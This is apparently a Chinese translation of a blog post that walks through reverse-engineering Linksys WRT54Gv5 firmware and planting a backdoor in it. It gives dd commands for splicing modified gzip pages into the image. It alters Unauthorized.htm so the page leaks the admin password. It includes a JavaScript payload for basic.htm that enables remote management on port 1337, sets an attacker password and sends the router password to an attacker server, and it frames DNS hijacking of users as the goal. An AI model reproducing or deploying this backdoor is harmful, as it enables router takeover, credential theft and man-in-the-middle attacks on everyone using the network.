Cisco Linksys无线路由固件安全分析与后门研究

  最近我对嵌入式设备安全方面比较感兴趣,所以我决定找点东西练练手,于是我在淘宝上搜了一下,发现Linksys WRT54Gv5无线路由比较流行,决定就拿这个下手了。

  首先要做的就是对固件开始逆向,看一下它的内部构件都是什么玩意儿。这个过程我也发现了这是一件多么令人蛋疼的事情,因为linksys本身已经不再承载固件了,另外,由于版权保护的问题,也没人跟我一样这么做。这些事简直蠢到家了,不过最终我还是偶然发现了一个固件副本,然后用它给我的路由器刷了固件以便分析时与硬件保持一致,然后就开始上手了。

  分析

  在看了不少devttys0.com博客上讲的东西之后,我决定用binwalk来分析固件文件。

  下面是分析后的结果:

  mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin

  DECIMAL HEX DESCRIPTION

  512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV)

  101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc."

  103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes

  1182692 0x120BE4 TROC filesystem, 102 file entries

  1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}

  1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}

  完整的戳这

  看完这个之后我觉得自己还是很幸运的,下面简单地说一下这些东西代表的含义:

  0×200偏移之后是MIPS bootloader;

  0x18D10偏移之后是Wind River Systems Inc版权声明,这行很重要因为他们做了我手上这个路由的操作系统Vxworks Operating System;

  0x194F0偏移之后是Vxworks OS/文件系统,不过我现在暂时没能力反汇编(没有文档化的大文件系统肯定不好搞);

  一堆类似于appky.htm这样gzip压缩的普通文件;

  直观上来看,firmware是这样分布的:[ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]

  有个现象比较幸运,那就是实际上这些压缩着的普通文件都是一个紧接着一个的,这样我们就知道了每个文件都是从哪里开始然后从哪里结束的,这些偏移可以通过不同文件类型中内置的Magic Number来推算出的,就是利用几个特殊的byte来标识出文件类型。举个例子,gzip的Magic Number是1f 8b – binwalk找到这几个数然后在二进制文件中对这些文件进行定位。

  然后逻辑上来讲,我们可以用同样大小的二进制数据来替换这些文件(要依据于固件更新后文件的绝对位置);

  开搞

  一个小小的dd命令就可以从路由器固件中摘出来一个.htm文件,其实binwalk也有内置的导出函数用来提取文件,不过我没有操作成功(你可以试一下);

  dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset – Current Offset] of=output_filename

  我们先来搞一点简单的,先把Unauthorized.htm和lastpassword.htm这两个文件提取出来,我特么完全不知道lastpassword.htm这个文件为毛会在固件里面出现,但是它可以把当前路由里面的管理密码以文本的格式输出啊!可能是程序员开发固件的时候不小心留下了这么个逗逼的调试用文件。

  lastpassword.htm:

  <HTML><HEAD>

  <META http-equiv=Content-Type content="text/html; charset=iso-8859-1">

  </HEAD>

  <BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>

  </PRE></BODY></HTML>

  你应该注意到了lastpassword.htm里面的这些东西:

  <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>

  这个标签将会被路由的当前密码代替,所以我们也许就能把这个放到Unauthorized.htm里面,这样无论密码怎么变我们都能有路由的管理权限;

  还记得不,我们有点蛋疼的地方就是要保证替换的文件要和以前的大小一样,因为.htm文件将会被压缩,所以问题出在这个地方,不过还好,可以解决。

  一番捯饬之后,我们最终搞成这个样子:

  <HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4>

  <!–<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> –>

  然后ls一下看一下文件大小:

  9699468   12 -rw-r–r– 144 Oct 18 14:44 Unauthorized.htm.gz

  9699467   12 -rw-rw-r– 144 Oct 18 14:13 Unauthorized_original.htm.gz

  现在再看一下以前binwalk后的结果:

  1338096         0x146AF0        GIF image data, version "89a", 192 x 64

  1340943         0x14760F        gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009

  1341087         0x14769F        gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009

  1344585         0x148449        gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep  4 03:46:03 2009

  然后我们把固件从Unauthorized.htm中间劈开,加上我们的文件再组合在一起:

  # Cut off first half of firmware right before Unauthorized.htm.gz

  dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half

  # Cut out the second half of the firmware right after Unauthorized.htm.gz

  dd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half

  # Add our backdoored Unauthorized.htm.gz to the firmware

  cat Unauthorized.htm.gz >> first_half

  # Put the pieces together

  cat second_half >> first_half

  Cool!然后我们再检查一下确保自己所有的步骤都是对的然后开始升级固件:

  我承认第一次搞这个有点小紧张,总害怕不好使,但是很荣幸,刷完固件之后成功了!

  登录一下:

  然后取消进去Unauthorized.htm页面:

  F12:

  mandatory即为路由密码!

  Perfect!然后现在我们就有了一个比较隐秘的控制路由器的方式,但是这个东西不好大范围搞,我们怎么样才能做出来一个类似于僵尸网络一样的payload呢?

  后门

  我看了一下别人写的payload,最终决定用JS来写后门,因为JS的跨平台性很好。而且JS内建了足够多的函数来让我们随意更改配置,爱咋用咋用。虽然我们没法去控制路由器来去DDos,但是我们可以更改路由器的DNS,控制了DNS我们就可以来对路由器的使用者做中间人攻击。这是因为大部分的计算机都直接采用了路由器选择的DNS,所以你简简单单控制了一台路由就相当于黑了一片PC,这个案例就相当于Zlob trojan,事实也证明了这个东西具有极大的杀伤力。

  开搞。

  路由设置页面的主页是basic.htm文件,一旦用户登录就立即被重定向到这个页面,所以如果我们把后门加到这个页面就会有极大的命中率,我们制作一个发送用户名和密码到我们控制的服务器上的payload,同时开启远程认证端口1337。

  编了点JS代码,然后我们手里就有货了:

  function evil_payload()

  {

  xml = new XMLHttpRequest();

  xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri');

  var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en";

  xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

  xml.setRequestHeader("Content-length", params.length);

  xml.setRequestHeader("Connection", "close");

  xml.send(params);

  thb = new XMLHttpRequest();

  thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>');

  thb.send();

  }

  这两个request里面,我们开启了远程控制端口,然后把用户名和密码发送到了我们控制的主机上。

  然后用上面同样地方法我们把这个后门添加到固件里面(记住,大小一定要一样)。

  刷固件,然后,wallah!

  [gif动图,请戳:http://blog.depressedmarvin.com/images/2014/10/08/router_backdoor.gif]

  当然,这只是个proof,真正后门在做的时候应该会可以C&C来实时控制路由的DNS Server。

  比你想的要容易的多吧,事实上,我之后又分析了一些路由器固件,有同样的问题存在。

  下次再会。

 

上一篇:智能无惧挑战 山石网科轰动RSA2015

下一篇:三星“找回手机(Find My Mobile)”功能存在0Day漏洞